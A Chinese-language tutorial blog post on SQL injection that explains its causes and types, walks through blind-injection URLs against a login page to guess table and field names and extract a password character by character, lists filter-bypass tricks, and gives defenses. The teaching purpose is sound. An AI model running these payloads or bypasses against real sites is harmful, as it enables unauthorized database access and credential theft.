zoukankan      html  css  js  c++  java
  • OWASP top 10 —— SQL注入-原理及其防御

    SQL注入

    1、SQL注入介绍

           WEB应用程序对用户输入的数据的合法性没有进行判断,使攻击者对从前端传入后端的数据可控,并且参数中带有数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

    2、SQL注入的原理

    SQL注入漏洞产生需要以下两个条件:

    • 参数是可控的:前端传给后端的参数内容是用户可以控制的
    • 参数代入数据库查询:传入的参数可以带入数据库中查询

    如果满足以上两个条件,攻击者就可以在前端页面中通过构造SQL语句,将自己想要查询的SQL语句坪街道合法的参数后面,对数据库进行增删改查等操作。

    3、分类

    按照提交方式分类

    GET型注入、POST型注入、cookie型注入、http头注入

    按照注入类型分类

    数字型注入、字符型注入、搜索性注入

    按照执行效果分类

    布尔盲注、时间盲注、报错注入、堆叠注入、宽字节注入、base64注入

    4、SQL注入常用函数

    database():数据库名

    desc():结构

    table():表名

    colums():列名

    limit():返回结果中的前几条数据或者中间的数据

    group_concat():分组拼接函数

    rand():返回0~1的随机数

    floor():乡下取整

    substr():截取字符串

    ascill():返回字符串的ascill码

    5、SQL注入攻击的总体思路

    • 寻找SQL注入的位置
    • 判断服务器类型和后台数据库类型
    • 针对不同的服务器和数据库特点进行SQL注入攻击

    6、SQL注入的8种攻击行为

    1. 猜测数据库名,备份数据库
    2. 猜解字段名称
    3. 遍历系统的目录结构,分析结构并发现WEB虚拟目录,植入木马
    4. 查询当前用户的数据库权限
    5. 设置新的数据库帐户提权得到数据库管理员账户权限
    6. 利用存储过程获取操作系统管理员账户
    7. 客户端脚本攻击:通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
    8. 客户端脚本攻击:通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,并将注入SQL经过“HEX编码”,然后通过exec执行

    SQL注入攻击思路

    1)进入登录页面进行SQL注入测试

       正常登录:

                用户名:admin  密码:admin

        SQL注入漏洞测试:

    • 在正常用户名后面加单引号admin',单击登录
    • 或在URL地址栏直接输入http://IP/login.asp?name=admin'&pass=admin

    • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

    2)SQL注入攻击

    构造可以正常运行的目标地址

    输入http://IP/login.asp?name=admin &pass=admin' and '1=1
    
    原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
    • 登录失败

    输入http://IP/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
    
    原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
    • 登录成功

    3)猜解数据库表名

    http://IP/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
    
    成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

    4)猜解数据库字段名

    http://IP/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
    
    若用户名字段确为uname,则提示登录成功
    
    同理可猜出密码字段为upass

    5)猜解密码长度

    • 已知有一用户名为"wucm",首先猜其密码长度大于1

    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)>1)>0 and 'a'='a
    • 成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)<10)>0 and 'a'='a
    • 成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)<5)>0 and 'a'='a
    • 出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)>8)>0 and 'a'='a
    • 出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)=6)>0 and 'a'='a
    • 成功,说明"wucm"的密码长度为6位

    6)猜解密码

    根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

    • 首先测试第一位是否为数字
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
    • 出错,说明密码第一位不是数字, 测试是否位字母
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
    • 成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
    • 成功,说明密码第一位位"w"
    • 同理对6位密码逐位进行猜测,最后得到密码为"wcm987"
    • 至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试
    • 登录成功,证明整个猜测过程和最后得出的密码都是正确的

    7、SQL注入的防御方法

    1.普通用户与系统管理员用户的权限要有严格的区分
    
    2.强迫使用参数化语句
    
    3.加强对用户输入的验证
    
    4.多多使用SQL server 数据库自带的安全参数
    
    5.必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点
    
    6.设置陷阱账号
       设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。

     8.SQL注入常见的绕过方法

    1)绕过空格

    可以替换空格执行的特殊字符,比如:+、%20、/**/、%a0等

    2)十六进制绕过

    查询条件为用户名等于admin的信息,admin需要使用引号引起来,如果过滤到引号,where语句就会执行失败。

    可以将amdin替换成十六进制来执行

    3)大小写/复写绕过

    4)过滤or and xor not 绕过

    and = &&

    or = ||

    xor = | # 异或

    not = !

    5)过滤等号

    %like% 通配符

    <> 等价于 !=

    在前面在加一个!表示等于

  • 相关阅读:
    LeetCode 227. Basic Calculator II
    LeetCode 224. Basic Calculator
    LeetCode 103. Binary Tree Zigzag Level Order Traversal
    LeetCode 102. Binary Tree Level Order Traversal
    LeetCode 106. Construct Binary Tree from Inorder and Postorder Traversal
    LeetCode 105. Construct Binary Tree from Preorder and Inorder Traversal
    LeetCode 169. Majority Element
    LeetCode 145. Binary Tree Postorder Traversal
    LeetCode 94. Binary Tree Inorder Traversal
    LeetCode 144. Binary Tree Preorder Traversal
  • 原文地址:https://www.cnblogs.com/Leisy/p/15430163.html
Copyright © 2011-2022 走看看